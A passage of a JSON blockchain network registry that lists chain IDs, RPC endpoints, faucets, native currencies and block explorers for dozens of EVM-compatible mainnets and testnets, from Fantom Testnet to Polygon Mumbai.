Explorer","url":"https://testnet.dynoscan.io","standard":"EIP3091"}]},{"name":"Fantom Testnet","chain":"FTM","rpc":["https://rpc.testnet.fantom.network"],"faucets":["https://faucet.fantom.network"],"nativeCurrency":{"name":"Fantom","symbol":"FTM","decimals":18},"infoURL":"https://docs.fantom.foundation/quick-start/short-guide#fantom-testnet","shortName":"tftm","chainId":4002,"networkId":4002,"icon":"fantom","explorers":[{"name":"ftmscan","url":"https://testnet.ftmscan.com","icon":"ftmscan","standard":"EIP3091"}]},{"name":"AIOZ Network Testnet","chain":"AIOZ","network":"testnet","icon":"aioz","rpc":["https://eth-ds.testnet.aioz.network"],"faucets":[],"nativeCurrency":{"name":"testAIOZ","symbol":"AIOZ","decimals":18},"infoURL":"https://aioz.network","shortName":"aioz-testnet","chainId":4102,"networkId":4102,"slip44":60,"explorers":[{"name":"AIOZ Network Testnet Explorer","url":"https://testnet.explorer.aioz.network","standard":"EIP3091"}]},{"name":"IoTeX Network Mainnet","chain":"iotex.io","rpc":["https://babel-api.mainnet.iotex.io"],"faucets":[],"nativeCurrency":{"name":"IoTeX","symbol":"IOTX","decimals":18},"infoURL":"https://iotex.io","shortName":"iotex-mainnet","chainId":4689,"networkId":4689,"explorers":[{"name":"iotexscan","url":"https://iotexscan.io","standard":"EIP3091"}]},{"name":"IoTeX Network Testnet","chain":"iotex.io","rpc":["https://babel-api.testnet.iotex.io"],"faucets":["https://faucet.iotex.io/"],"nativeCurrency":{"name":"IoTeX","symbol":"IOTX","decimals":18},"infoURL":"https://iotex.io","shortName":"iotex-testnet","chainId":4690,"networkId":4690,"explorers":[{"name":"testnet iotexscan","url":"https://testnet.iotexscan.io","standard":"EIP3091"}]},{"name":"Venidium Testnet","chain":"XVM","rpc":["https://rpc-evm-testnet.venidium.io"],"faucets":[],"nativeCurrency":{"name":"Venidium","symbol":"XVM","decimals":18},"infoURL":"https://venidium.io","shortName":"xvm","chainId":4918,"networkId":4918,"explorers":[{"name":"Venidium EVM Testnet Explorer","url":"https://evm-testnet.venidiumexplorer.com","standard":"EIP3091"}]},{"name":"EraSwap Mainnet","chain":"ESN","icon":"eraswap","rpc":["https://mainnet.eraswap.network","https://rpc-mumbai.mainnet.eraswap.network"],"faucets":[],"nativeCurrency":{"name":"EraSwap","symbol":"ES","decimals":18},"infoURL":"https://eraswap.info/","shortName":"es","chainId":5197,"networkId":5197},{"name":"Uzmi Network Mainnet","chain":"UZMI","rpc":["https://network.uzmigames.com.br/"],"faucets":[],"nativeCurrency":{"name":"UZMI","symbol":"UZMI","decimals":18},"infoURL":"https://uzmigames.com.br/","shortName":"UZMI","chainId":5315,"networkId":5315},{"name":"Syscoin Tanenbaum Testnet","chain":"SYS","rpc":["https://rpc.tanenbaum.io","wss://rpc.tanenbaum.io/wss"],"faucets":["https://faucet.tanenbaum.io"],"nativeCurrency":{"name":"Testnet Syscoin","symbol":"tSYS","decimals":18},"infoURL":"https://syscoin.org","shortName":"tsys","chainId":5700,"networkId":5700,"explorers":[{"name":"Syscoin Testnet Block Explorer","url":"https://tanenbaum.io","standard":"EIP3091"}]},{"name":"Digest Swarm Chain","chain":"DSC","icon":"swarmchain","rpc":["https://rpc.digestgroup.ltd"],"faucets":[],"nativeCurrency":{"name":"DigestCoin","symbol":"DGCC","decimals":18},"infoURL":"https://digestgroup.ltd","shortName":"dgcc","chainId":5777,"networkId":5777,"explorers":[{"name":"swarmexplorer","url":"https://explorer.digestgroup.ltd","standard":"EIP3091"}]},{"name":"Ontology Testnet","chain":"Ontology","rpc":["https://polaris1.ont.io:20339","https://polaris2.ont.io:20339","https://polaris3.ont.io:20339","https://polaris4.ont.io:20339"],"faucets":["https://developer.ont.io/"],"nativeCurrency":{"name":"ONG","symbol":"ONG","decimals":9},"infoURL":"https://ont.io/","shortName":"Ontology Testnet","chainId":5851,"networkId":5851,"explorers":[{"name":"explorer","url":"https://explorer.ont.io/testnet","standard":"EIP3091"}]},{"name":"Wegochain Rubidium Mainnet","chain":"RBD","rpc":["https://proxy.wegochain.io","http://wallet.wegochain.io:7764"],"faucets":[],"nativeCurrency":{"name":"Rubid","symbol":"RBD","decimals":18},"infoURL":"https://www.wegochain.io","shortName":"rbd","chainId":5869,"networkId":5869,"explorers":[{"name":"wegoscan2","url":"https://scan2.wegochain.io","standard":"EIP3091"}]},{"name":"Pixie Chain Mainnet","chain":"PixieChain","rpc":["https://http-mainnet.chain.pixie.xyz","wss://ws-mainnet.chain.pixie.xyz"],"faucets":[],"nativeCurrency":{"name":"Pixie Chain Native Token","symbol":"PIX","decimals":18},"infoURL":"https://chain.pixie.xyz","shortName":"pixie-chain","chainId":6626,"networkId":6626,"explorers":[{"name":"blockscout","url":"https://scan.chain.pixie.xyz","standard":"none"}]},{"name":"Shyft Mainnet","chain":"SHYFT","icon":"shyft","rpc":["https://rpc.shyft.network/"],"faucets":[],"nativeCurrency":{"name":"Shyft","symbol":"SHYFT","decimals":18},"infoURL":"https://shyft.network","shortName":"shyft","chainId":7341,"networkId":7341,"slip44":2147490989,"explorers":[{"name":"Shyft BX","url":"https://bx.shyft.network","standard":"EIP3091"}]},{"name":"Hazlor Testnet","chain":"SCAS","rpc":["https://hatlas.rpc.hazlor.com:8545","wss://hatlas.rpc.hazlor.com:8546"],"faucets":["https://faucet.hazlor.com"],"nativeCurrency":{"name":"Hazlor Test Coin","symbol":"TSCAS","decimals":18},"infoURL":"https://hazlor.com","shortName":"tscas","chainId":7878,"networkId":7878,"explorers":[{"name":"Hazlor Testnet Explorer","url":"https://explorer.hazlor.com","standard":"none"}]},{"name":"Teleport","chain":"Teleport","rpc":["https://evm-rpc.teleport.network"],"faucets":[],"nativeCurrency":{"name":"Tele","symbol":"TELE","decimals":18},"infoURL":"https://teleport.network","shortName":"teleport","chainId":8000,"networkId":8000,"icon":"teleport","explorers":[{"name":"Teleport EVM Explorer (Blockscout)","url":"https://evm-explorer.teleport.network","standard":"none","icon":"teleport"},{"name":"Teleport Cosmos Explorer (Big Dipper)","url":"https://explorer.teleport.network","standard":"none","icon":"teleport"}]},{"name":"Teleport Testnet","chain":"Teleport","rpc":["https://evm-rpc.testnet.teleport.network"],"faucets":["https://chain-docs.teleport.network/testnet/faucet.html"],"nativeCurrency":{"name":"Tele","symbol":"TELE","decimals":18},"infoURL":"https://teleport.network","shortName":"teleport-testnet","chainId":8001,"networkId":8001,"icon":"teleport","explorers":[{"name":"Teleport EVM Explorer (Blockscout)","url":"https://evm-explorer.testnet.teleport.network","standard":"none","icon":"teleport"},{"name":"Teleport Cosmos Explorer (Big Dipper)","url":"https://explorer.testnet.teleport.network","standard":"none","icon":"teleport"}]},{"name":"MDGL Testnet","chain":"MDGL","rpc":["https://testnet.mdgl.io"],"faucets":[],"nativeCurrency":{"name":"MDGL Token","symbol":"MDGLT","decimals":18},"infoURL":"https://mdgl.io","shortName":"mdgl","chainId":8029,"networkId":8029},{"name":"GeneChain Adenine Testnet","chain":"GeneChain","rpc":["https://rpc-testnet.genechain.io"],"faucets":["https://faucet.genechain.io"],"nativeCurrency":{"name":"Testnet RNA","symbol":"tRNA","decimals":18},"infoURL":"https://scan-testnet.genechain.io/","shortName":"GeneChainAdn","chainId":8080,"networkId":8080,"explorers":[{"name":"GeneChain Adenine Testnet Scan","url":"https://scan-testnet.genechain.io","standard":"EIP3091"}]},{"name":"Klaytn Mainnet Cypress","chain":"KLAY","rpc":["https://public-node-api.klaytnapi.com/v1/cypress"],"faucets":[],"nativeCurrency":{"name":"KLAY","symbol":"KLAY","decimals":18},"infoURL":"https://www.klaytn.com/","shortName":"Cypress","chainId":8217,"networkId":8217,"slip44":8217,"explorers":[{"name":"Klaytnscope","url":"https://scope.klaytn.com","standard":"none"}]},{"name":"KorthoTest","chain":"Kortho","rpc":["https://www.krotho-test.net"],"faucets":[],"nativeCurrency":{"name":"Kortho Test","symbol":"KTO","decimals":11},"infoURL":"https://www.kortho.io/","shortName":"Kortho","chainId":8285,"networkId":8285},{"name":"TOOL Global Mainnet","chain":"OLO","rpc":["https://mainnet-web3.wolot.io"],"faucets":[],"nativeCurrency":{"name":"TOOL Global","symbol":"OLO","decimals":18},"infoURL":"https://ibdt.io","shortName":"olo","chainId":8723,"networkId":8723,"slip44":479,"explorers":[{"name":"OLO Block Explorer","url":"https://www.olo.network","standard":"EIP3091"}]},{"name":"TOOL Global Testnet","chain":"OLO","rpc":["https://testnet-web3.wolot.io"],"faucets":["https://testnet-explorer.wolot.io"],"nativeCurrency":{"name":"TOOL Global","symbol":"OLO","decimals":18},"infoURL":"https://testnet-explorer.wolot.io","shortName":"tolo","chainId":8724,"networkId":8724,"slip44":479},{"name":"Ambros Chain Testnet","chain":"ambroschain","rpc":["https://testnet.ambroschain.com"],"faucets":[],"nativeCurrency":{"name":"AMBROS","symbol":"AMBR","decimals":18},"infoURL":"https://bcmhunt.com/","shortName":"ambrostestnet","chainId":8888,"networkId":8888,"explorers":[{"name":"Ambros Chain Explorer","url":"https://testexplorer.ambroschain.com","standard":"none"}]},{"name":"bloxberg","chain":"bloxberg","rpc":["https://core.bloxberg.org"],"faucets":["https://faucet.bloxberg.org/"],"nativeCurrency":{"name":"BERG","symbol":"U+25B3","decimals":18},"infoURL":"https://bloxberg.org","shortName":"berg","chainId":8995,"networkId":8995},{"name":"Evmos Testnet","chain":"Evmos","rpc":["https://evmos-archive-testnet.api.bdnodes.net:8545"],"faucets":["https://faucet.evmos.dev"],"nativeCurrency":{"name":"test-Evmos","symbol":"tEVMOS","decimals":18},"infoURL":"https://evmos.org","shortName":"evmos-testnet","chainId":9000,"networkId":9000,"icon":"evmos","explorers":[{"name":"Evmos EVM Explorer (Blockscout)","url":"https://evm.evmos.dev","standard":"none","icon":"evmos"},{"name":"Evmos Cosmos Explorer","url":"https://explorer.evmos.dev","standard":"none","icon":"evmos"}]},{"name":"Evmos","chain":"Evmos","rpc":["https://eth.bd.evmos.org:8545"],"faucets":[],"nativeCurrency":{"name":"Evmos","symbol":"EVMOS","decimals":18},"infoURL":"https://evmos.org","shortName":"evmos","chainId":9001,"networkId":9001,"icon":"evmos","explorers":[{"name":"Evmos EVM Explorer (Blockscout)","url":"https://evm.evmos.org","standard":"none","icon":"evmos"},{"name":"Evmos Cosmos Explorer (Mintscan)","url":"https://www.mintscan.io/evmos","standard":"none","icon":"evmos"}]},{"name":"Genesis Coin","chain":"Genesis","rpc":["https://genesis-gn.com","wss://genesis-gn.com"],"faucets":[],"nativeCurrency":{"name":"GN Coin","symbol":"GNC","decimals":18},"infoURL":"https://genesis-gn.com","shortName":"GENEC","chainId":9100,"networkId":9100},{"name":"Rangers Protocol Testnet Robin","chain":"Rangers","icon":"rangers","rpc":["https://robin.rangersprotocol.com/api/jsonrpc"],"faucets":["https://robin-faucet.rangersprotocol.com"],"nativeCurrency":{"name":"Rangers Protocol Gas","symbol":"tRPG","decimals":18},"infoURL":"https://rangersprotocol.com","shortName":"trpg","chainId":9527,"networkId":9527,"explorers":[{"name":"rangersscan-robin","url":"https://robin-rangersscan.rangersprotocol.com","standard":"none"}]},{"name":"myOwn Testnet","chain":"myOwn","rpc":["https://geth.dev.bccloud.net"],"faucets":[],"nativeCurrency":{"name":"MYN","symbol":"MYN","decimals":18},"infoURL":"https://docs.bccloud.net/","shortName":"myn","chainId":9999,"networkId":9999},{"name":"Smart Bitcoin Cash","chain":"smartBCH","rpc":["https://smartbch.greyh.at","https://rpc-mainnet.smartbch.org","https://smartbch.fountainhead.cash/mainnet","https://smartbch.devops.cash/mainnet"],"faucets":[],"nativeCurrency":{"name":"Bitcoin Cash","symbol":"BCH","decimals":18},"infoURL":"https://smartbch.org/","shortName":"smartbch","chainId":10000,"networkId":10000},{"name":"Smart Bitcoin Cash Testnet","chain":"smartBCHTest","rpc":["https://rpc-testnet.smartbch.org","https://smartbch.devops.cash/testnet"],"faucets":[],"nativeCurrency":{"name":"Bitcoin Cash Test Token","symbol":"BCHT","decimals":18},"infoURL":"http://smartbch.org/","shortName":"smartbchtest","chainId":10001,"networkId":10001},{"name":"Blockchain Genesis Mainnet","chain":"GEN","rpc":["https://eu.mainnet.xixoio.com","https://us.mainnet.xixoio.com","https://asia.mainnet.xixoio.com"],"faucets":[],"nativeCurrency":{"name":"GEN","symbol":"GEN","decimals":18},"infoURL":"https://www.xixoio.com/","shortName":"GEN","chainId":10101,"networkId":10101},{"name":"CryptoCoinPay","chain":"CCP","rpc":["http://node106.cryptocoinpay.info:8545","ws://node106.cryptocoinpay.info:8546"],"faucets":[],"icon":"ccp","nativeCurrency":{"name":"CryptoCoinPay","symbol":"CCP","decimals":18},"infoURL":"https://www.cryptocoinpay.co","shortName":"CCP","chainId":10823,"networkId":10823,"explorers":[{"name":"CCP Explorer","url":"https://cryptocoinpay.info","standard":"EIP3091"}]},{"name":"WAGMI","chain":"WAGMI","icon":"wagmi","rpc":["https://subnets.avax.network/wagmi/wagmi-chain-testnet/rpc"],"faucets":["https://faucet.trywagmi.xyz"],"nativeCurrency":{"name":"WAGMI","symbol":"WGM","decimals":18},"infoURL":"https://trywagmi.xyz","shortName":"WAGMI","chainId":11111,"networkId":11111,"explorers":[{"name":"WAGMI Explorer","url":"https://subnets.avax.network/wagmi/wagmi-chain-testnet/explorer","standard":"EIP3091"}]},{"name":"Shyft Testnet","chain":"SHYFTT","icon":"shyft","rpc":["https://rpc.testnet.shyft.network/"],"faucets":[],"nativeCurrency":{"name":"Shyft Test Token","symbol":"SHYFTT","decimals":18},"infoURL":"https://shyft.network","shortName":"shyftt","chainId":11437,"networkId":11437,"explorers":[{"name":"Shyft Testnet BX","url":"https://bx.testnet.shyft.network","standard":"EIP3091"}]},{"name":"Singularity ZERO Testnet","chain":"ZERO","rpc":["https://betaenv.singularity.gold:18545"],"faucets":["https://nft.singularity.gold"],"nativeCurrency":{"name":"ZERO","symbol":"tZERO","decimals":18},"infoURL":"https://www.singularity.gold","shortName":"tZERO","chainId":12051,"networkId":12051,"explorers":[{"name":"zeroscan","url":"https://betaenv.singularity.gold:18002","standard":"EIP3091"}]},{"name":"Singularity ZERO Mainnet","chain":"ZERO","rpc":["https://zerorpc.singularity.gold"],"faucets":["https://zeroscan.singularity.gold"],"nativeCurrency":{"name":"ZERO","symbol":"ZERO","decimals":18},"infoURL":"https://www.singularity.gold","shortName":"ZERO","chainId":12052,"networkId":12052,"slip44":621,"explorers":[{"name":"zeroscan","url":"https://zeroscan.singularity.gold","standard":"EIP3091"}]},{"name":"Phoenix Mainnet","chain":"Phoenix","network":"mainnet","rpc":["https://rpc.phoenixplorer.com/"],"faucets":[],"nativeCurrency":{"name":"Phoenix","symbol":"PHX","decimals":18},"infoURL":"https://cryptophoenix.org/phoenix","shortName":"Phoenix","chainId":13381,"networkId":13381,"icon":"phoenix","explorers":[{"name":"phoenixplorer","url":"https://phoenixplorer.com","icon":"phoenixplorer","standard":"EIP3091"}]},{"name":"MetaDot Mainnet","chain":"MTT","rpc":["https://mainnet.metadot.network"],"faucets":[],"nativeCurrency":{"name":"MetaDot Token","symbol":"MTT","decimals":18},"infoURL":"https://metadot.network","shortName":"mtt","chainId":16000,"networkId":16000},{"name":"MetaDot Testnet","chain":"MTTTest","rpc":["https://testnet.metadot.network"],"faucets":["https://faucet.metadot.network/"],"nativeCurrency":{"name":"MetaDot Token TestNet","symbol":"MTT-test","decimals":18},"infoURL":"https://metadot.network","shortName":"mtttest","chainId":16001,"networkId":16001},{"name":"BTCIX Network","chain":"BTCIX","rpc":["https://seed.btcix.org/rpc"],"faucets":[],"nativeCurrency":{"name":"BTCIX Network","symbol":"BTCIX","decimals":18},"infoURL":"https://bitcolojix.org","shortName":"btcix","chainId":19845,"networkId":19845,"explorers":[{"name":"BTCIXScan","url":"https://btcixscan.com","standard":"none"}]},{"name":"omChain Mainnet","chain":"OML","icon":"omlira","rpc":["https://seed.omlira.com"],"faucets":[],"nativeCurrency":{"name":"Omlira","symbol":"OML","decimals":18},"infoURL":"https://omlira.com","shortName":"oml","chainId":21816,"networkId":21816,"explorers":[{"name":"omChain Explorer","url":"https://explorer.omlira.com","standard":"EIP3091"}]},{"name":"Webchain","chain":"WEB","rpc":["https://node1.webchain.network"],"faucets":[],"nativeCurrency":{"name":"Webchain Ether","symbol":"WEB","decimals":18},"infoURL":"https://webchain.network","shortName":"web","chainId":24484,"networkId":37129,"slip44":227},{"name":"MintMe.com Coin","chain":"MINTME","rpc":["https://node1.mintme.com"],"faucets":[],"nativeCurrency":{"name":"MintMe.com Coin","symbol":"MINTME","decimals":18},"infoURL":"https://www.mintme.com","shortName":"mintme","chainId":24734,"networkId":37480},{"name":"Ethersocial Network","chain":"ESN","rpc":["https://api.esn.gonspool.com"],"faucets":[],"nativeCurrency":{"name":"Ethersocial Network Ether","symbol":"ESN","decimals":18},"infoURL":"https://ethersocial.org","shortName":"esn","chainId":31102,"networkId":1,"slip44":31102},{"name":"GoChain Testnet","chain":"GO","rpc":["https://testnet-rpc.gochain.io"],"faucets":[],"nativeCurrency":{"name":"GoChain Coin","symbol":"GO","decimals":18},"infoURL":"https://gochain.io","shortName":"got","chainId":31337,"networkId":31337,"slip44":6060,"explorers":[{"name":"GoChain Testnet Explorer","url":"https://testnet-explorer.gochain.io","standard":"EIP3091"}]},{"name":"Fusion Mainnet","chain":"FSN","rpc":["https://mainnet.anyswap.exchange","https://fsn.dev/api"],"faucets":[],"nativeCurrency":{"name":"Fusion","symbol":"FSN","decimals":18},"infoURL":"https://www.fusion.org/","shortName":"fsn","chainId":32659,"networkId":32659},{"name":"Energi Mainnet","chain":"NRG","rpc":["https://nodeapi.energi.network"],"faucets":[],"nativeCurrency":{"name":"Energi","symbol":"NRG","decimals":18},"infoURL":"https://www.energi.world/","shortName":"nrg","chainId":39797,"networkId":39797,"slip44":39797},{"name":"pegglecoin","chain":"42069","rpc":[],"faucets":[],"nativeCurrency":{"name":"pegglecoin","symbol":"peggle","decimals":18},"infoURL":"https://teampeggle.com","shortName":"PC","chainId":42069,"networkId":42069},{"name":"Arbitrum One","chainId":42161,"shortName":"arb1","chain":"ETH","networkId":42161,"nativeCurrency":{"name":"Ether","symbol":"ETH","decimals":18},"rpc":["https://arbitrum-mainnet.infura.io/v3/${INFURA_API_KEY}","https://arb-mainnet.g.alchemy.com/v2/${ALCHEMY_API_KEY}","https://arb1.arbitrum.io/rpc","wss://arb1.arbitrum.io/ws"],"faucets":[],"explorers":[{"name":"Arbiscan","url":"https://arbiscan.io","standard":"EIP3091"},{"name":"Arbitrum Explorer","url":"https://explorer.arbitrum.io","standard":"EIP3091"}],"infoURL":"https://arbitrum.io","parent":{"type":"L2","chain":"eip155-1","bridges":[{"url":"https://bridge.arbitrum.io"}]}},{"name":"Celo Mainnet","chainId":42220,"shortName":"CELO","chain":"CELO","networkId":42220,"nativeCurrency":{"name":"CELO","symbol":"CELO","decimals":18},"rpc":["https://forno.celo.org","wss://forno.celo.org/ws"],"faucets":["https://free-online-app.com/faucet-for-eth-evm-chains/"],"infoURL":"https://docs.celo.org/","explorers":[{"name":"blockscout","url":"https://explorer.celo.org","standard":"none"}]},{"name":"Emerald Paratime Testnet","chain":"Emerald","icon":"oasis","rpc":["https://testnet.emerald.oasis.dev/","wss://testnet.emerald.oasis.dev/ws"],"faucets":[],"nativeCurrency":{"name":"Emerald Rose","symbol":"ROSE","decimals":18},"infoURL":"https://docs.oasis.dev/general/developer-resources/overview","shortName":"emerald","chainId":42261,"networkId":42261,"explorers":[{"name":"Emerald Paratime Testnet Explorer","url":"https://testnet.explorer.emerald.oasis.dev","standard":"EIP3091"}]},{"name":"Emerald Paratime Mainnet","chain":"Emerald","icon":"oasis","rpc":["https://emerald.oasis.dev","wss://emerald.oasis.dev/ws"],"faucets":[],"nativeCurrency":{"name":"Emerald Rose","symbol":"ROSE","decimals":18},"infoURL":"https://docs.oasis.dev/general/developer-resources/overview","shortName":"oasis","chainId":42262,"networkId":42262,"explorers":[{"name":"Emerald Paratime Mainnet Explorer","url":"https://explorer.emerald.oasis.dev","standard":"EIP3091"}]},{"name":"Athereum","chain":"ATH","rpc":["https://ava.network:21015/ext/evm/rpc"],"faucets":["http://athfaucet.ava.network//?address=${ADDRESS}"],"nativeCurrency":{"name":"Athereum Ether","symbol":"ATH","decimals":18},"infoURL":"https://athereum.ava.network","shortName":"avaeth","chainId":43110,"networkId":43110},{"name":"Avalanche Fuji Testnet","chain":"AVAX","rpc":["https://api.avax-test.network/ext/bc/C/rpc"],"faucets":["https://faucet.avax-test.network/"],"nativeCurrency":{"name":"Avalanche","symbol":"AVAX","decimals":18},"infoURL":"https://cchain.explorer.avax-test.network","shortName":"Fuji","chainId":43113,"networkId":1,"explorers":[{"name":"snowtrace","url":"https://testnet.snowtrace.io","standard":"EIP3091"}]},{"name":"Avalanche C-Chain","chain":"AVAX","rpc":["https://api.avax.network/ext/bc/C/rpc"],"faucets":["https://free-online-app.com/faucet-for-eth-evm-chains/"],"nativeCurrency":{"name":"Avalanche","symbol":"AVAX","decimals":18},"infoURL":"https://www.avax.network/","shortName":"Avalanche","chainId":43114,"networkId":43114,"slip44":9005,"explorers":[{"name":"snowtrace","url":"https://snowtrace.io","standard":"EIP3091"}]},{"name":"Celo Alfajores Testnet","chainId":44787,"shortName":"ALFA","chain":"CELO","networkId":44787,"nativeCurrency":{"name":"CELO","symbol":"CELO","decimals":18},"rpc":["https://alfajores-forno.celo-testnet.org","wss://alfajores-forno.celo-testnet.org/ws"],"faucets":["https://celo.org/developers/faucet","https://cauldron.pretoriaresearchlab.io/alfajores-faucet"],"infoURL":"https://docs.celo.org/"},{"name":"Autobahn Network","chain":"BNB","network":"mainnet","rpc":["https://rpc.autobahn.network"],"faucets":[],"nativeCurrency":{"name":"BNB","symbol":"BNB","decimals":18},"infoURL":"https://autobahn.network","shortName":"autobahn","chainId":45000,"networkId":45000,"icon":"autobahn","explorers":[{"name":"autobahn explorer","url":"https://explorer.autobahn.network","icon":"autobahn","standard":"EIP3091"}]},{"name":"REI Network","chain":"REI","rpc":["https://rpc.rei.network","wss://rpc.rei.network"],"faucets":[],"nativeCurrency":{"name":"REI","symbol":"REI","decimals":18},"infoURL":"https://rei.network/","shortName":"REI","chainId":47805,"networkId":47805,"explorers":[{"name":"rei-scan","url":"https://scan.rei.network","standard":"none"}]},{"name":"Energi Testnet","chain":"NRG","rpc":["https://nodeapi.test.energi.network"],"faucets":[],"nativeCurrency":{"name":"Energi","symbol":"NRG","decimals":18},"infoURL":"https://www.energi.world/","shortName":"tnrg","chainId":49797,"networkId":49797,"slip44":49797},{"name":"DFK Chain","chain":"DFK","icon":"dfk","network":"mainnet","rpc":["https://subnets.avax.network/defi-kingdoms/dfk-chain/rpc"],"faucets":[],"nativeCurrency":{"name":"Jewel","symbol":"JEWEL","decimals":18},"infoURL":"https://defikingdoms.com","shortName":"DFK","chainId":53935,"networkId":53935,"explorers":[{"name":"ethernal","url":"https://explorer.dfkchain.com","icon":"ethereum","standard":"none"}]},{"name":"REI Chain Mainnet","chain":"REI","icon":"reichain","rpc":["https://rei-rpc.moonrhythm.io"],"faucets":["http://kururu.finance/faucet?chainId=55555"],"nativeCurrency":{"name":"Rei","symbol":"REI","decimals":18},"infoURL":"https://reichain.io","shortName":"rei","chainId":55555,"networkId":55555,"explorers":[{"name":"reiscan","url":"https://reiscan.com","standard":"EIP3091"}]},{"name":"REI Chain Testnet","chain":"REI","icon":"reichain","rpc":["https://rei-testnet-rpc.moonrhythm.io"],"faucets":["http://kururu.finance/faucet?chainId=55556"],"nativeCurrency":{"name":"tRei","symbol":"tREI","decimals":18},"infoURL":"https://reichain.io","shortName":"trei","chainId":55556,"networkId":55556,"explorers":[{"name":"reiscan","url":"https://testnet.reiscan.com","standard":"EIP3091"}]},{"name":"Thinkium Testnet Chain 0","chain":"Thinkium","rpc":["https://test.thinkiumrpc.net/"],"faucets":["https://www.thinkiumdev.net/faucet"],"nativeCurrency":{"name":"TKM","symbol":"TKM","decimals":18},"infoURL":"https://thinkium.net/","shortName":"TKM-test0","chainId":60000,"networkId":60000,"explorers":[{"name":"thinkiumscan","url":"https://test0.thinkiumscan.net","standard":"EIP3091"}]},{"name":"Thinkium Testnet Chain 1","chain":"Thinkium","rpc":["https://test1.thinkiumrpc.net/"],"faucets":["https://www.thinkiumdev.net/faucet"],"nativeCurrency":{"name":"TKM","symbol":"TKM","decimals":18},"infoURL":"https://thinkium.net/","shortName":"TKM-test1","chainId":60001,"networkId":60001,"explorers":[{"name":"thinkiumscan","url":"https://test1.thinkiumscan.net","standard":"EIP3091"}]},{"name":"Thinkium Testnet Chain 2","chain":"Thinkium","rpc":["https://test2.thinkiumrpc.net/"],"faucets":["https://www.thinkiumdev.net/faucet"],"nativeCurrency":{"name":"TKM","symbol":"TKM","decimals":18},"infoURL":"https://thinkium.net/","shortName":"TKM-test2","chainId":60002,"networkId":60002,"explorers":[{"name":"thinkiumscan","url":"https://test2.thinkiumscan.net","standard":"EIP3091"}]},{"name":"Thinkium Testnet Chain 103","chain":"Thinkium","rpc":["https://test103.thinkiumrpc.net/"],"faucets":["https://www.thinkiumdev.net/faucet"],"nativeCurrency":{"name":"TKM","symbol":"TKM","decimals":18},"infoURL":"https://thinkium.net/","shortName":"TKM-test103","chainId":60103,"networkId":60103,"explorers":[{"name":"thinkiumscan","url":"https://test103.thinkiumscan.net","standard":"EIP3091"}]},{"name":"Celo Baklava Testnet","chainId":62320,"shortName":"BKLV","chain":"CELO","networkId":62320,"nativeCurrency":{"name":"CELO","symbol":"CELO","decimals":18},"rpc":["https://baklava-forno.celo-testnet.org"],"faucets":["https://docs.google.com/forms/d/e/1FAIpQLSdfr1BwUTYepVmmvfVUDRCwALejZ-TUva2YujNpvrEmPAX2pg/viewform","https://cauldron.pretoriaresearchlab.io/baklava-faucet"],"infoURL":"https://docs.celo.org/"},{"name":"eCredits Mainnet","chain":"ECS","network":"mainnet","rpc":["https://rpc.ecredits.com"],"faucets":[],"nativeCurrency":{"name":"eCredits","symbol":"ECS","decimals":18},"infoURL":"https://ecredits.com","shortName":"ecs","chainId":63000,"networkId":63000,"explorers":[{"name":"eCredits MainNet Explorer","url":"https://explorer.ecredits.com","standard":"EIP3091"}]},{"name":"eCredits Testnet","chain":"ECS","network":"testnet","rpc":["https://rpc.tst.ecredits.com"],"faucets":["https://faucet.tst.ecredits.com"],"nativeCurrency":{"name":"eCredits","symbol":"ECS","decimals":18},"infoURL":"https://ecredits.com","shortName":"ecs-testnet","chainId":63001,"networkId":63001,"explorers":[{"name":"eCredits TestNet Explorer","url":"https://explorer.tst.ecredits.com","standard":"EIP3091"}]},{"name":"Thinkium Mainnet Chain 0","chain":"Thinkium","rpc":["https://proxy.thinkiumrpc.net/"],"faucets":[],"nativeCurrency":{"name":"TKM","symbol":"TKM","decimals":18},"infoURL":"https://thinkium.net/","shortName":"TKM0","chainId":70000,"networkId":70000,"explorers":[{"name":"thinkiumscan","url":"https://chain0.thinkiumscan.net","standard":"EIP3091"}]},{"name":"Thinkium Mainnet Chain 1","chain":"Thinkium","rpc":["https://proxy1.thinkiumrpc.net/"],"faucets":[],"nativeCurrency":{"name":"TKM","symbol":"TKM","decimals":18},"infoURL":"https://thinkium.net/","shortName":"TKM1","chainId":70001,"networkId":70001,"explorers":[{"name":"thinkiumscan","url":"https://chain1.thinkiumscan.net","standard":"EIP3091"}]},{"name":"Thinkium Mainnet Chain 2","chain":"Thinkium","rpc":["https://proxy2.thinkiumrpc.net/"],"faucets":[],"nativeCurrency":{"name":"TKM","symbol":"TKM","decimals":18},"infoURL":"https://thinkium.net/","shortName":"TKM2","chainId":70002,"networkId":70002,"explorers":[{"name":"thinkiumscan","url":"https://chain2.thinkiumscan.net","standard":"EIP3091"}]},{"name":"Thinkium Mainnet Chain 103","chain":"Thinkium","rpc":["https://proxy103.thinkiumrpc.net/"],"faucets":[],"nativeCurrency":{"name":"TKM","symbol":"TKM","decimals":18},"infoURL":"https://thinkium.net/","shortName":"TKM103","chainId":70103,"networkId":70103,"explorers":[{"name":"thinkiumscan","url":"https://chain103.thinkiumscan.net","standard":"EIP3091"}]},{"name":"Polyjuice Testnet","chain":"CKB","icon":"polyjuice","rpc":["https://godwoken-testnet-web3-rpc.ckbapp.dev","ws://godwoken-testnet-web3-rpc.ckbapp.dev/ws"],"faucets":["https://faucet.nervos.org/"],"nativeCurrency":{"name":"CKB","symbol":"CKB","decimals":8},"infoURL":"https://github.com/nervosnetwork/godwoken","shortName":"ckb","chainId":71393,"networkId":1},{"name":"Energy Web Volta Testnet","chain":"Volta","rpc":["https://volta-rpc.energyweb.org","wss://volta-rpc.energyweb.org/ws"],"faucets":["https://voltafaucet.energyweb.org"],"nativeCurrency":{"name":"Volta Token","symbol":"VT","decimals":18},"infoURL":"https://energyweb.org","shortName":"vt","chainId":73799,"networkId":73799},{"name":"Firenze test network","chain":"ETH","rpc":["https://ethnode.primusmoney.com/firenze"],"faucets":[],"nativeCurrency":{"name":"Firenze Ether","symbol":"FIN","decimals":18},"infoURL":"https://primusmoney.com","shortName":"firenze","chainId":78110,"networkId":78110},{"name":"Mumbai","title":"Polygon Testnet Mumbai","chain":"Polygon","rpc":["https://matic-mumbai.chainstacklabs.com","https://rpc-mumbai.maticvigil.com","https://matic-testnet-archive-rpc.bwarelabs.com"],"faucets":["https://faucet.polygon.technology/"],"nativeCurrency":{"name":"MATIC","symbol":"MATIC","decimals":18},"infoURL":"https://polygon.technology/","shortName":"maticmum","chainId":80001,"networkId":80001,"explorers":[{"name":"polygonscan","url":"https://mumbai.polygonscan.com","standard":"EIP3091"}]},{"name":"UB Smart 